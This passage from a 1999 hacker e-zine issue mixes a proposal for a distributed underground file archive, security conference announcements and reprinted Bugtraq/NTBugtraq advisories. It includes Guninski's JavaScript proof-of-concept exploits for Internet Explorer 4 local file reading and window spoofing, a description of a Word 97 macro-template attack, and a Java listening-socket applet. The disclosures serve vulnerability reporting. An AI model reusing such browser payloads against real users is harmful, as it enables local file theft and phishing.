  774.  
  775.      danke.
  776.  
  777.      C*:.
  778.  
  779.  
  780.      @HWA
  781.      
  782.      
  783.          
  784.   2.1 POWAR - An idea who's time has come(?) opens itself up for inspection
  785.       =--=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  786.       By HWA Staff, Feb '99
  787.       =-=-=-=-=-=-=-=-=-=-=-=
  788.       
  789.       P.O.W.A.R - PHACVW Online Web Archive Resource
  790.       
  791.             
  792.        Well at the moment it is little more than a somewhat trendy catch-
  793.       phrase but its an idea that AFAIK has not yet been attempted by the
  794.       online world, specifically the online underground world. What POWAR
  795.       stands for, other than an attempt at being catchy is PHAC Online Web 
  796.       Archive Ring (or Resource, if you prefer) what POWAR attempts to do is 
  797.       bring people in the underground together to be distribution nodes for a 
  798.       vast list of growing files (checked out Packetstorm lately?)  creating 
  799.       one decentralized source for info  and files by means of a distributed 
  800.       web approach. Consider a list of 1000 1 meg files of various import, a 
  801.       master list would be maintained by all POWAR net sites. Each site might
  802.       have 4 of the listed files, with the rest being distributed among other
  803.       POWAR sites. 
  804.       
  805.      Advantages:  Participants can maintain unique site characteristics but 
  806.                 newbie  cookie-cutter sites won't be turned away so long   as 
  807.                 they try and  maintain their perspective in the ring if  nothing 
  808.                 else, it will give them a firm foundation point from  which to 
  809.                 build their own online presence.
  810.                    
  811.      *         No porno banners will be allowed (* up for debate) on POWAR sites
  812.                the net is about dissemination of information not ramming titty
  813.                down kiddiez throats, I know where to go for tit, I don't need to
  814.                see it on every second phac site thanks...
  815.       
  816.                All the eggs aren't in one basket, if one site goes down another
  817.                in the queue can take its place and offer its' files
  818.             
  819.                One site doesn't control access to all the files
  820.                   
  821.                One site's speed doesn't determine accessibility to files
  822.                    
  823.                One country doesn't determine authority over the POWAR project
  824.                files archive.
  825.       
  826.  
  827.   Disadvantages: All links in the chain must maintain contact with each other
  828.                  to determine the current health of the net and monitor downed
  829.                  sites or adjust for heavy traffic items to be distributed to 
  830.                  offset the xfer load.
  831.                     
  832.                  possible adverse affect on general net use if Geocities/Tripod 
  833.                  etc decide to ban 'POWAR' sites.
  834.                     
  835.                  Coordination  either manually or automatically, preferably the
  836.                  former since the latter begs open assaults by government or other
  837.                  hacking groups.
  838.                  
  839.                    
  840.       Its a simple enough concept, perhaps too simple, I'll leave this hanging in the
  841.       wind and perhaps put a poll out to see what people think of the idea on a web
  842.       board or two. Meanwhile send any comments, suggestions, ideas or requests to the
  843.       zine at hwa@press.usmc.net with 'POWAR' in the subject line. To either sign up or
  844.       make a comment etc, if 'joining' include your website url and how much space you
  845.       can dedicate to the project and what else you may be willing to do or who else
  846.       you can contact that may be of service to this goal and we'll take it from here.
  847.       
  848.      This is not an attempt at flouting the HWA name or myself, merely something I had
  849.      eating away at the back of my mind for some time now and decided to let it out and 
  850.      see what people thought .... so there it is.
  851.  
  852.      Cruciphux@dok.org / hwa@press.usmc.net
  853.             
  854.       
  855.       @HWA
  856.                     
  857.   3.0 INFOSEC World
  858.       ~~~~~~~~~~~~~
  859.       
  860.      March 15-17, 1999
  861.  
  862.      Optional Workshops March 14 & 18
  863.      
  864.      Exhibit Expo March 15 & 16
  865.      
  866.      Hilton at Disney World Village, Orlando, Florida
  867.      
  868.      
  869.      The All-in-One Event That Includes:
  870.      
  871.      + Open Systems Security '99 - MIS'/ISI's premier conference on protecting information in an internetworked world 
  872.      + The ISSA Annual Conference - The highly anticipated gathering of the leading membership organization dedicated to
  873.      information security 
  874.      + InfoSec Expo World - The expanded exhibition of leading infosec products and services, featuring more than 75 vendors
  875.      
  876.      Hot Topics and Cool Solutions
  877.      
  878.      - Secure active Web content 
  879.      - Single sign-on 
  880.      - Network packet analyzers 
  881.      - Creating secure extranets 
  882.      - Remote access security 
  883.      - Computer forensics 
  884.      - Hacker tools and trends 
  885.      - Penetration testing 
  886.      - Secure messaging 
  887.      - Kerberos and PKI integration 
  888.      - Tools for auditing cyberspace 
  889.      - NT vs. Unix: Which is safer? 
  890.      - Beating hackers at their own game 
  891.      - Intrusion detection 
  892.      - Securing Unix in a TCP/IP environment 
  893.      - Digital certificate pilots 
  894.      
  895.      And much more 
  896.      
  897.      The conference registration fee is:
  898.      For ISSA members, conference only - $795
  899.      For ISSA members, conference plus 1 workshop - $1090
  900.      For ISSA members, conference plus 2 workshops - $1365
  901.      For ISSA Chapter Presidents, conference only - $595
  902.      
  903.      For non-members, conference only - $995
  904.      For non-members, conference plus 1 workshop - $1290
  905.      For non-members, conference plus 2 workshops - $ 1565
  906.      
  907.      To encourage chapter attendance, the following attendance fee discounts are being provided by ISSA:
  908.      
  909.      ISSA will rebate $297.00 (an amount equal to half of the Chapter President's registration fee of $595.00) if the chapter meets
  910.      the following attendance goals, and ISSA meets it's target of getting more than 96 total attendees:
  911.      - Chapters with less than 30 members need to have 4 paid members attending the conference
  912.      - Chapters with between 30 - 50 need 7 paid attendees
  913.      - Chapters with over 50 members need 9 paid attendees.
  914.      
  915.      The ISSA Annual Meeting will be held at the conference, and Board election results will be announced.
  916.      
  917.      Plan to join us. Check out the MIS Training Institute site for more details and for registration information.
  918.      
  919.      For information about last year's conference, check out MIS98.
  920.      
  921.      Last updated 1/22/99 
  922.      
  923.      @HWA
  924.      
  925.   4.0 DEFCON 7 and other CON's
  926.       ~~~~~~~~~~~~~~~~~~~~~~~~
  927.       
  928.       DEFCON7 - 7th year running.
  929.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  930.         From the site (http://www.defcon.org/)
  931.         
  932.       "DEF CON 7 is July 9-11th, 1999 in Las Vegas! 
  933.           
  934.       1.27.99 I've updated the DEF CON 7 area, 
  935.               and will be adding speakers this week.  I'll move on to the
  936.               other poeples pages next.  A new HTTP, FTP, and Real Audio server
  937.               is being built, and will hopefully go online in Feb.   "
  938.                   
  939.     
  940.     UseNix & Sage Networking'99
  941.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  942.     
  943.     Approved-By: aleph1@UNDERGROUND.ORG
  944.     Date:     Fri, 29 Jan 1999 13:37:44 -0800
  945.     Reply-To: Cynthia Deno <cynthia@SURFNETUSA.COM>
  946.     Sender: Bugtraq List <BUGTRAQ@netspace.org>
  947.     From: Cynthia Deno <cynthia@SURFNETUSA.COM>
  948.     Subject:      USENIX NETWORKING '99
  949.     X-To:         cynthia@usenix.org
  950.     To: BUGTRAQ@netspace.org
  951.     
  952.     For the first time, USENIX and SAGE are bringing together the community 
  953.     of network administrators -- Share in expertise learned at sites of all sizes from throughout the world. Gain mastery of new technologies, techniques, and strategies for managing complex networks. 
  954.     
  955.     Tutorials * Invited Talks * Refereed Papers * Hosted Luncheons 
  956.     * Receptions * Birds-of-a-Feather Sessions 
  957.     
  958.     NETWORKING '99 
  959.        April 7-12, 1999 
  960.        Santa Clara Marriott Hotel 
  961.        Santa Clara, California, USA 
  962.     
  963.     Sponsored by USENIX, the Advanced Computing Systems Association 
  964.     Co-Sponsored by SAGE, the System Administrators Guild 
  965.     
  966.     WEB SITE: http://www.usenix.org/networking99 
  967.     
  968.     Networking '99 includes: 
  969.     
  970.     CONFERENCE ON NETWORK ADMINISTRATION 
  971.     Wednesday and Thursday, April 7-8, 1999 
  972.          Outstanding speakers share their expertise and experience of the 
  973.     latest network technologies in case studies of real networks and 
  974.     refereed research papers. 
  975.     
  976.     NETWORKING TUTORIAL PROGRAM 
  977.     Friday and Saturday, April 9-10, 1999 
  978.          Courses tailored to many levels of experience and spanning a wide 
  979.     range of topics in network administration and computer security. Bring 
  980.     home skills you can use immediately. 
  981.     
  982.     WORKSHOP ON INTRUSION DETECTION AND NETWORK MONITORING 
  983.     Sunday and Monday, April 11-12, 1999 
  984.           Meet and learn from the researchers and practitioners who are 
  985.     deploying the state of the art in techniques and technologies which can 
  986.     help you maintain your network's security by "automatically" detecting 
  987.     weaknesses or attacks in progress. 
  988.     
  989.     For the full tutorial and technical program, and online registration, 
  990.     http://www.usenix.org/networking99 
  991.     ---------------- 
  992.     The USENIX Association's international membership includes engineers, scientists, and technicians working on the cutting edge of systems and software.  SAGE, a special technical group within USENIX, is devoted to the advancement and recognition of system administration as a profession.  USENIX and SAGE are co-sponsors of the highly regarded LISA--System Administrators Conference. 
  993.     
  994.     CanCon99
  995.     ~~~~~~~~
  996.     And don't forget we need people for CanCon'99/2k, speakers wanted!, we expect to have
  997.     full details (or close to it) for a date in August, summer of 1999 also a follow-up
  998.     bash for New-Years (Hacking the new millennium CanCon'2k) if the summer vomit proves
  999.     extraordinarily popular.
  1000.     
  1001.     Join the mailing list on the CanCon99 page off the main HWA.hax0r.news site.
  1002.     
  1003.     
  1004.     @HWA          
  1005.   
  1006.   5.0 Hackertown
  1007.       ~~~~~~~~~~
  1008.     Seen via HNN (http://www.hackernews.com/)
  1009.  
  1010.     {
  1011.         
  1012.     "Welcome to hackertown." This is a new hosting service for websites 
  1013.     about specific subjects, based on the old codezone and adapted by 
  1014.     the WH team. 
  1015.  
  1016.     category of sites
  1017.     
  1018.     ht is only for truly informative websites about advanced technology-
  1019.     related topics, such as computing, security, networking. we will accept
  1020.     to give accounts only for websites that meets our requirements. the WH
  1021.     team has the responsibility to choose whether a concept is accepted or 
  1022.     not. (See site for examples of sites NOT accepted).
  1023.     
  1024.     free account features
  1025.     
  1026.        > unlimited URLs
  1027.        > unlimited web space (web content, ie. html/txt/cgi)
  1028.        > no storage space (ie. file libraries/archives)
  1029.        > unlimited transfers/hits/whatever
  1030.        > unix operating system
  1031.        > unlimited e-mail forwarders/aliases
  1032.        > unlimited cgi/bin (must contact admin)
  1033.        > server-side includes
  1034.        > technical support
  1035.        > ssl secure server
  1036.                                    
  1037.  
  1038.    standard account features ($10/year)
  1039.        > full shell account
  1040.        > ftp/telnet access
  1041.        > pop3 mailbox
  1042.        > 5mb storage space (ie. file libraries/archives)
  1043.                                   
  1044.  
  1045.    sign-up
  1046.    send a e-mail to sw3wn@csoft.net with a summary of your project; we'll 
  1047.    send you a response in a day or two if it's accepted. if you want the 
  1048.    optional features ($10/year), you can pay either by check/money order 
  1049.    or credit card to cubesoft communications. e-mail for more info. 
  1050.    
  1051.       }
  1052.       
  1053.     @HWA
  1054.  
  1055.  
  1056.  6.0 More MSIE bugs & NT peculiarities ...
  1057.      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1058.      
  1059.      Discovered and published by George Guninski
  1060.      http://www.geocities.com/ResearchTriangle/1711
  1061.     
  1062.      Guninski's IE 4 reading AUTOEXEC.BAT.
  1063.  
  1064.  
  1065.      There is a bug in Internet Explorer 4.x (patched) which allows reading
  1066.      local files and sending them to an arbitrary server.
  1067.  
  1068.      The problem is: if you add '%01someURL' after the an about: URL, IE 
  1069.      thinks that the document is loaded from the domain of 'someURL'.
  1070.  
  1071.      This circumvents "Cross-frame security" and opens several security holes.
  1072.  
  1073.  
  1074.      This will try to read C:\AUTOEXEC.BAT using TDC.
  1075.  
  1076.      The bug may be exploited using HTML mail message. The exploit uses 
  1077.      Javascript. 
  1078.  
  1079.      For more info see the source.
  1080.  
  1081.  
  1082.      Workaround: Disable Javascript.
  1083.  
  1084.      Written by http://www.geocities.com/ResearchTriangle/1711 - Georgi Guninski
  1085.  
  1086.     
  1087.      <SCRIPT>
  1088.  
  1089.      alert('This tries to read your AUTOEXEC.BAT\nWait few seconds.')
  1090.  
  1091.      s="about:<SCRIPT>a=window.open('view-source:x');a.document.open();a.
  1092.      document.write(\"<object id='myTDC' width=100 height=100 classid='
  1093.      CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83'>"
  1094.      +"<param name='DataURL' value='c:/autoexec.bat'><param name='UseHeader'
  1095.       value=False><param name='CharSet' VALUE='iso-8859-1'><param name='
  1096.       FieldDelim' value='}'><param name='RowDelim' value='}'><param name='
  1097.       TextQualifier' value='}'>"
  1098.      +"</object><form><textarea datasrc='#myTDC' datafld='Column1' rows=10
  1099.       cols=80></textarea></form>\");a.document.write('<SCRIPT>setTimeout(\"
  1100.       alert(document.forms[0].elements[0].value)\",4000)</SCRIPT');a.document.
  1101.       write('>');a.document.close();close()</"+"SCRIPT>%01file://c:/";
  1102.      b=showModalDialog(s);
  1103.      
  1104.      </SCRIPT>
  1105.      
  1106.      Guninski's IE 4 window spoofing.
  1107.      http://www.geocities.com/ResearchTriangle/1711/read4.html
  1108.  
  1109.      There is a bug in Internet Explorer 4.01 (patched) which allows "window spoofing".
  1110.  
  1111.      The problem is: if you add '%01someURL' after the URL, IE thinks that the document is loaded from the domain of 'someURL'.
  1112.  
  1113.      This circumvents "Cross-frame security" and opens several security holes.
  1114.  
  1115.      After visiting a hostile page (or clicking a hostile link) a window is opened and its location is a trusted site.
  1116.      However, the content of the window is not that of the original site, but it is supplied by the owner of the page.
  1117.      So, the user is mislead he is browising a trusted site, 
  1118.      while he is browsing a hostile page and may provide sensitive information, such as credit card number.
  1119.  
  1120.      The bug may be exploited using HTML mail message. The exploit uses Javascript. 
  1121.  
  1122.      Workaround: Disable Javascript.
  1123.  
  1124.      Written by http://www.geocities.com/ResearchTriangle/1711 - Georgi Guninski
  1125.  
  1126.  
  1127.      Exploit code
  1128.      ------------
  1129.      
  1130.      <SCRIPT>
  1131.  
  1132.      alert('A window will be open. Examine the location and the content.
  1133.      \nThis may also be done by clicking a link.')
  1134.      b=showModalDialog("about:<SCRIPT>a=window.open('http://www.yahoo.com');
  1135.      a.document.write('<HTML><HEAD><TITLE>Yahoo</TITLE><BODY></HEAD><H1>Look at
  1136.      the address bar!<BR>');a.document.write('<A HREF=\"http://www.geocities.com/
  1137.      ResearchTriangle/1711\">Go to Georgi Guninski\\'s home page</A></H1></BODY>
  1138.      </HTML>');close()</"+"SCRIPT>%01http://www.yahoo.com");
  1139.  
  1140.      </SCRIPT>     
  1141.      
  1142.      Guninski's IE 4 file reading bug.
  1143.      http://www.geocities.com/ResearchTriangle/1711/read3.html
  1144.  
  1145.  
  1146.      There is a bug in Internet Explorer 4.x (patched) which allows reading 
  1147.      local files and sending them to an arbitrary server.
  1148.  
  1149.      The problem is: if you add '%01someURL' after the URL, IE thinks that the
  1150.      document is loaded from the domain of 'someURL'.
  1151.  
  1152.      This circumvents "Cross-frame security" and opens several security holes.
  1153.  
  1154.  
  1155.      The filename must be known.
  1156.  
  1157.      The bug may be exploited using HTML mail message. The exploit uses Javascript. 
  1158.      For more info see the source.
  1159.  
  1160.      Workaround: Disable Javascript.
  1161.  
  1162.      Written by http://www.geocities.com/ResearchTriangle/1711 - Georgi Guninski
  1163.  
  1164.  
  1165.      Exploit Code
  1166.      ------------
  1167.      
  1168.      <SCRIPT>
  1169.  
  1170.      alert('Create a short file C:\\test.txt and its contents will be shown in
  1171.       a dialog box.')
  1172.      b=showModalDialog("about:<SCRIPT>a=window.open('file://c:/test.txt');
  1173.      s='Here is your file: \\n\\n'+a.document.body.innerText;alert(s);a.close();
  1174.      close()</"+"SCRIPT>%01file://c:/");
  1175.  
  1176.      </SCRIPT>
  1177.      
  1178.      Date: Thu, 28 Jan 1999 04:53:31 PST
  1179.      From: Georgi Guninski <guninski@HOTMAIL.COM>
  1180.      To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
  1181.      Subject: Javascript %01 bug in Internet Explorer
  1182.      
  1183.      There is a Javascript security bug in Internet Explorer 4.x (patched),
  1184.      which circumvents "Cross-frame security" and opens several security
  1185.      holes.
  1186.      
  1187.      The problem is: if you add '%01someURL' after an 'about:somecode' URL,
  1188.      IE thinks that the document is
  1189.      loaded from the domain of 'someURL'. Very strange?
  1190.      
  1191.      Some of the bugs are:
  1192.      
  1193.      1) IE allows reading local files and sending them to an arbitrary
  1194.      server.
  1195.      The filename must be known.
  1196.      The bug may be exploited using HTML mail message.
  1197.      Demo is available at:
  1198.      http://www.geocities.com/ResearchTriangle/1711/read3.html
  1199.      
  1200.      2) IE allows "window spoofing".
  1201.      After visiting a hostile page (or clicking a hostile link) a window is
  1202.      opened and its
  1203.      location is a trusted site. However, the content of the window is not
  1204.      that of the original site,
  1205.      but it is supplied by the owner of the page. So, the user is misled he
  1206.      is browising
  1207.      a trusted site, while he is browsing a hostile page and may provide
  1208.      sensitive information,
  1209.      such as credit card number.
  1210.      The bug may be exploited using HTML mail message.
  1211.      Demo is available at:
  1212.      http://www.geocities.com/ResearchTriangle/1711/read4.html
  1213.      
  1214.      3) Reading AUTOEXEC.BAT using TDC.
  1215.      Demo is available at:
  1216.      http://www.geocities.com/ResearchTriangle/1711/read5.html
  1217.      
  1218.      Workaround: Disable Javascript
  1219.      
  1220.      Regards,
  1221.      Georgi Guninski
  1222.      TechnoLogica Ltd, Bulgaria
  1223.      
  1224.      http://www.geocities.com/ResearchTriangle/1711
  1225.      http://www.whitehats.com/guninski
  1226.  
  1227.  
  1228.     
  1229.      Date: Wed, 27 Jan 1999 14:14:39 +0000
  1230.      From: Vesselin Bontchev <bontchev@COMPLEX.IS>
  1231.      To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
  1232.      Subject: IE 4/5/Outlook + Word 97 security hole
  1233.      
  1234.      Hello folks,
  1235.      
  1236.      This is not a strictly Windows NT issue - it affects Windows 9x users
  1237.      too. However, it is a very important one, so I decided to post about it
  1238.      here.
  1239.      
  1240.      Remember the so-called "Russian New Year" problem in Excel? Forget it;
  1241.      that was peanuts. Exploiting it required substantial knowledge of Excel,
  1242.      Windows programming, and assembly language (because the size of the
  1243.      programs that could be dropped was minimal). Not that uncommon
  1244.      combination, but one requiring at least some level of knowledge and
  1245.      experience from the attacker. This new problem can be exploited much,
  1246.      MUCH easier - and all the attacker has to know is Visual Basic for
  1247.      Applications.
  1248.      
  1249.      Essentially, if you are using Internet Explorer 4.x or 5.x and Word 97
  1250.      (the beta, the original release, SR-1, or the SR-2 patch), you are
  1251.      vulnerable. Vulnerable, in the sense that just visting a Web page can
  1252.      result in running a hostile VBA program on your machine without any
  1253.      warnings. If, in addition, you are using Outlook (any version of it),
  1254.      you are even more vulnerable - the attacker can run a hostile VBA
  1255.      program on your machine by just sending you an HTML e-mail message. (The
  1256.      hostile program will be run when you just VIEW the message - no need to
  1257.      click on any links.) The hostile program can do just about anything
  1258.      (drop a virus, delete files, steal information) - VBA is an extremely
  1259.      powerful language - and very easily.
  1260.      
  1261.      The problem consists of several parts. The first part is caused by the
  1262.      fact that by default IE 4.x/5.x automatically launches
  1263.      Word/Excel/PowerPoint to view URLs which point to DOC/XLS/PPT files (and
  1264.      all other file extensions for these applications). That is, you are not
  1265.      given the option to save the file to disk instead of opening it. If the
  1266.      file contains hostile macros, these macros could be executed by the
  1267.      respective application.
  1268.      
  1269.      Microsoft "protects" you from such attacks with the so-called built-in
  1270.      macro virus protection of the Office 97 versions of the applications
  1271.      mentioned above. That is, if the document you are trying to open
  1272.      contains any macros, the application will display a warning by default
  1273.      (this can be easily turned off) and will offer you the options to open
  1274.      the document as is, to open it without the macros (the default), or not
  1275.      to open it at all. Please note that this protection is available only in
  1276.      Office 97 - the previous versions of these applications do not have it
  1277.      (except the rare Word 7.0a). But they aren't vulnerable to the attack I
  1278.      am describing anyway.
  1279.      
  1280.      This protection has several problems. First of all, it often causes
  1281.      false positives - it sometimes triggers even when the document does not
  1282.      contain any macros. (I can elaborate when exactly this happens, if there
  1283.      is interest.) This often causes people to turn it off. Second, it
  1284.      doesn't tell you whether the document contains a virus or not - it just
  1285.      warns you about the generic presense of macros. Third, and worst of all,
  1286.      the Word 97 implementation of it contains a serious security hole.
  1287.      
  1288.      When Word 97 opens a document, the built-in macro virus protection
  1289.      checks this document for macros (VBA modules). However, it doesn't
  1290.      perform a similar check on the template this document is based on - and,
  1291.      if this template contains any auto macros, they will be executed when
  1292.      the document based on it is opened. Without any warnings whatsoever.
  1293.      
  1294.      I have discovered and documented this security hole more than two and a
  1295.      half years ago. I have reported it to Microsoft people at several
  1296.      anti-virus conferences. Microsoft did nothing about it - until recently.
  1297.      
  1298.      The third part of the problem is the most substantial one - the part
  1299.      which makes this attack easy to carry out remotely. Normally, I wouldn't
  1300.      have revealed the technical details about it. However, the bad guys have
  1301.      figured it out already - there is at least one Web site which tempts the
  1302.      user to click on a link allegedly containing a "list of sex sites
  1303.      passwords" and which uses this attack to infect the user's machine with
  1304.      a macro virus which infects both Word 97, Excel 97 and PowerPoint 97
  1305.      documents. :-(
  1306.      
  1307.      So, the third part of the problem is caused by the fact that when
  1308.      specifying the template a Word 97 document is based on, you can specify
  1309.      not just a local file but also an URL. The previous versions of Word do
  1310.      not have this capability, therefore they are not vulnerable to this
  1311.      attack.
  1312.      
  1313.      I had prepared a demonstration of the attack and it seems to have been
  1314.      impressive enough, because Microsoft reacted rather quickly this time -
  1315.      in about a week. They issued a patch which fixed the second part of the
  1316.      problem - with it, the built-in macro virus protection of Word 97 checks
  1317.      for macros not only the document that is being opened but also the
  1318.      template it is based on. Please see
  1319.      
  1320.        Microsoft Security Bulletin:
  1321.        http://www.microsoft.com/security/bulletins/ms99-002.asp
  1322.        Office Update Download Page:
  1323.        http://officeupdate.microsoft.com/downloaddetails/wd97sp.htm
  1324.      
  1325.      for more information.
  1326.      
  1327.      Folks, if you are using IE 4.x/5.x and/or Outlook and Word 97, you
  1328.      _*MUST*_ install this patch! Otherwise your systems are WIDE opened and
  1329.      the security hole is *trivial* to exploit! Note, however, that the patch
  1330.      will install only on Word 97 SR-1 or SR-2. It will *not* install on the
  1331.      original Word 97. If you patch Word 97 SR-1, this will not prevent from
  1332.      patching it later to SR-2.
  1333.      
  1334.      I would also advise you to make the necessary changes so that IE offers
  1335.      you the option to save the remote DOC/DOT files instead of automatically
  1336.      launching Word to view them. In order to do this, start the Explorer
  1337.      (the file explorer, not IE), select View/Options/File Types, find the
  1338.      types Microsoft Word <anything> (where <anything> stands for Addin,
  1339.      Backup Document, Document, Template, Wizard and anything else you find
  1340.      there), select each one of them in sequence, click on the Edit button
  1341.      and make sure that the checkbox labeled "Confirm Open After Download"
  1342.      (near the bottom of the dialog that appears) is checked.
  1343.      
  1344.      And, in general, do not trust files with executable content received
  1345.      >from dubious sources. Unfortunately, as Microsoft continues to blur the
  1346.      difference between your local hard disk and the Internet, problems like
  1347.      this one will only get worse. :-( I wonder when we'll see another
  1348.      Internet Worm based on a security hole like that... Connectivity is a
  1349.      good thing, but it has to rely on a sound security model - not on a
  1350.      bunch of patched-together last-minute ugly hacks which try to "protect"
  1351.      you by essentially telling you that "you are doing something, are you
  1352.      sure?".
  1353.      
  1354.      Regards,
  1355.      Vesselin
  1356.      --
  1357.      Vesselin Vladimirov Bontchev, not speaking for FRISK Software International,
  1358.      Postholf 7180, IS-127, Reykjavik, Iceland               producers of F-PROT.
  1359.      e-mail: bontchev@complex.is, tel.: +354-561-7273, fax: +354-561-7274
  1360.      PGP 2.6.2i key fingerprint: E5 FB 30 0C D4 AA AB 44  E5 F7 C3 18 EA 2B AE 4E
  1361.      
  1362.     
  1363.  
  1364.     @HWA
  1365.     
  1366. 6.1 Netscape 4.5 Bugs
  1367.     ~~~~~~~~~~~~~~~~~
  1368.  
  1369.       Just to keep things even we came across some Netscape bugs from the uploads
  1370.      are of Packet Storm, so here's the latest NS poop as well;
  1371.     
  1372.      Date: Tue, 2 Feb 1999 13:42:32 -0800
  1373.      From: Giao Nguyen <grail@CAFEBABE.ORG>
  1374.      To: BUGTRAQ@netspace.org
  1375.      Subject: Unsecured server in applets under Netscape
  1376.      
  1377.      Just for kicks, I wrote a sample applet that listened on a socket. I
  1378.      discovered that when the applet was loaded under Netscape (as tested
  1379.      with version 4.5), any hosts could then connect to the machine running
  1380.      this applet. I won't bore anyone with the code because it's so trivial
  1381.      that a novice to Java should be able to write it with ease after
  1382.      reading some documentation.
  1383.      
  1384.      According to Java in a Nutshell, 2nd edition, p. 139:
  1385.      
  1386.      * Untrusted code cannot perform networking operations, exception
  1387.      certain restricted ways.  Untrusted code cannot:
  1388.        [...]
  1389.        - Accept network connections on ports less than or equal to 1024 or
  1390.          from any host other than the one from which the code itself was
  1391.          loaded.
  1392.      
  1393.      While the port number restriction is held by the VM, the point of
  1394.      origin restriction is not held at all.
  1395.      
  1396.      I don't feel qualified to comment on the full implication of this but
  1397.      I'm sure more inventive minds can arrive at more interesting uses of
  1398.      this feature.
  1399.      
  1400.      The work around is rather simple. Disable Java runtime in the Netscape
  1401.      browser.
  1402.      
  1403.      As hinted above, Internet Explorer's Java runtime does not exhibit
  1404.      this behaviour.
  1405.      
  1406.      I have contacted Netscape (via some truly useful web pages) but I've
  1407.      not received any responses to the following information. I hope it's
  1408.      useful to someone out there.
  1409.      
  1410.      Giao Nguyen
  1411.      
  1412.      ------------------------------------------------------------------------
  1413.      
  1414.      Date: Wed, 3 Feb 1999 07:45:13 -0000
  1415.      From: BVE <bve@QUADRIX.COM>
  1416.      To: BUGTRAQ@netspace.org
  1417.      Subject: Re: Unsecured server in applets under Netscape
  1418.      
  1419.         Date:        Tue, 2 Feb 1999 13:42:32 -0800
  1420.         From:        Giao Nguyen <grail@CAFEBABE.ORG>
  1421.      
  1422.         Just for kicks, I wrote a sample applet that listened on a socket. I
  1423.         discovered that when the applet was loaded under Netscape (as tested
  1424.         with version 4.5), any hosts could then connect to the machine running
  1425.         this applet. I won't bore anyone with the code because it's so trivial
  1426.         that a novice to Java should be able to write it with ease after
  1427.         reading some documentation.
  1428.      
  1429.         According to Java in a Nutshell, 2nd edition, p. 139:
  1430.      
  1431.         * Untrusted code cannot perform networking operations, exception
  1432.         certain restricted ways.  Untrusted code cannot:
  1433.           [...]
  1434.           - Accept network connections on ports less than or equal to 1024 or
  1435.             from any host other than the one from which the code itself was
  1436.             loaded.
  1437.      
  1438.         While the port number restriction is held by the VM, the point of
  1439.         origin restriction is not held at all.
  1440.      
  1441.      
  1442.      The error in your analysis is most likely that you were running Java code from
  1443.      a class file installed on your local machine, as opposed to one which is
  1444.      downloaded from a web site somewhere.  The former is considered "trusted,"
  1445.      while the latter is "untrusted."
  1446.      
  1447.      Any class file you've compiled on your local machine will be considered
  1448.      "trusted," and will be allowed to do pretty much anything it wants.  Similarly,
  1449.      any class file you've copied to your hard drive, as opposed to downloading from
  1450.      within a web browser, will be considered "trusted."
  1451.      
  1452.      --
  1453.      
  1454.                                           -- Bill Van Emburg
  1455.                                              Quadrix Solutions, Inc.
  1456.      Phone: 732-235-2335, x206               (bve@quadrix.com)
  1457.      Fax:   732-235-2336                     (http://quadrix.com)
  1458.              "You do what you want, and if you didn't, you don't"
  1459.      
  1460.      ------------------------------------------------------------------------
  1461.      
  1462.      Date: Wed, 3 Feb 1999 00:49:10 -0800
  1463.      From: Giao Nguyen <grail@CAFEBABE.ORG>
  1464.      To: BUGTRAQ@netspace.org
  1465.      Subject: Re: Unsecured server in applets under Netscape
  1466.      
  1467.      BVE writes:
  1468.       >
  1469.       > The error in your analysis is most likely that you were running Java code from
  1470.       > a class file installed on your local machine, as opposed to one which is
  1471.       > downloaded from a web site somewhere.  The former is considered "trusted,"
  1472.       > while the latter is "untrusted."
  1473.      
  1474.      You'd think so. Don't worry. I sat on this bug for two days to verify
  1475.      that I had everything workin right and that I didn't have any funny
  1476.      servers on my favorite port numbers. I tend to use 6969 whenever I
  1477.      want to test something. The first iteration of this worked. I was
  1478.      shocked.
  1479.      
  1480.      A coworker mentioned the exact same thing you did. So I put it on our
  1481.      development server. Loaded the web page. Same result. I then telnet to
  1482.      a machine approximately 3000 miles away on a separate network
  1483.      unrelated to the network I was on. Same result. Just for kicks I got
  1484.      some folks from other companies to help me verify that lunch didn't
  1485.      include liquids which the company might frown upon. Same result.
  1486.      
  1487.      The fact that my test was done on a Windows box and others repeated
  1488.      the tests on a Unix platform confirmed that this was not a Windows +
  1489.      Netscape related problem but that it was indeed a Netscape specific
  1490.      thing.
  1491.      
  1492.       > Any class file you've compiled on your local machine will be considered
  1493.       > "trusted," and will be allowed to do pretty much anything it wants.  Similarly,
  1494.       > any class file you've copied to your hard drive, as opposed to downloading from
  1495.       > within a web browser, will be considered "trusted."
  1496.      
  1497.      Yes, CLASSPATH contamination. I am aware of this.
  1498.      
  1499.      To verify that it's not CLASSPATH contamination, I'm putting the
  1500.      sample up at http://www.cafebabe.org/sapplet.html It doesn't do
  1501.      anything other than allow connections to be made. It listens on 6969
  1502.      btw. Now, the security measures as implemented by Netscape doesn't
  1503.      allow for the equivalence of an accept() call to be made. However, it
  1504.      could present an opportunity for DoS attacks. The source is at
  1505.      http://www.cafebabe.org/Sapplet.java .
  1506.      
  1507.      In retrospect, I think the topic is wrong. It should have been
  1508.      different. The opportunity is still present for those who has a use
  1509.      for such thing. YMMV.
  1510.      
  1511.      Giao Nguyen
  1512.      
  1513.      ------------------------------------------------------------------
  1514.      [http://www.cafebabe.org/sapplet.html]
  1515.      
  1516.      This page contains an applet listening on port 6969. It doesn't do
  1517.            anything other than that.  How useful is it?
  1518.      
  1519.      <applet code=Sapplet.class width=10 height=10>
  1520.      </applet>
  1521.      ------------------------------------------------------------------
  1522.      
  1523.      
  1524.      ------------------------------------------------------------------
  1525.      [http://www.cafebabe.org/Sapplet.java]
  1526.      
  1527.      import java.net.*;
  1528.      import java.io.*;
  1529.      import java.applet.*;
  1530.      
  1531.      public class Sapplet extends Applet {
  1532.        ServerSocket  s;
  1533.        public void init() {
  1534.          try {
  1535.            s = new ServerSocket(6969);
  1536.          } catch (IOException io) {
  1537.            System.out.println("Well drat, it didn't work.");
  1538.          }
  1539.        }
  1540.      }
  1541.      ------------------------------------------------------------------
  1542.      
  1543.      ------------------------------------------------------------------------
  1544.      
  1545.      Date: Wed, 3 Feb 1999 14:51:36 -0500
  1546.      From: Tramale K. Turner <shidoshi@black.kage.net>
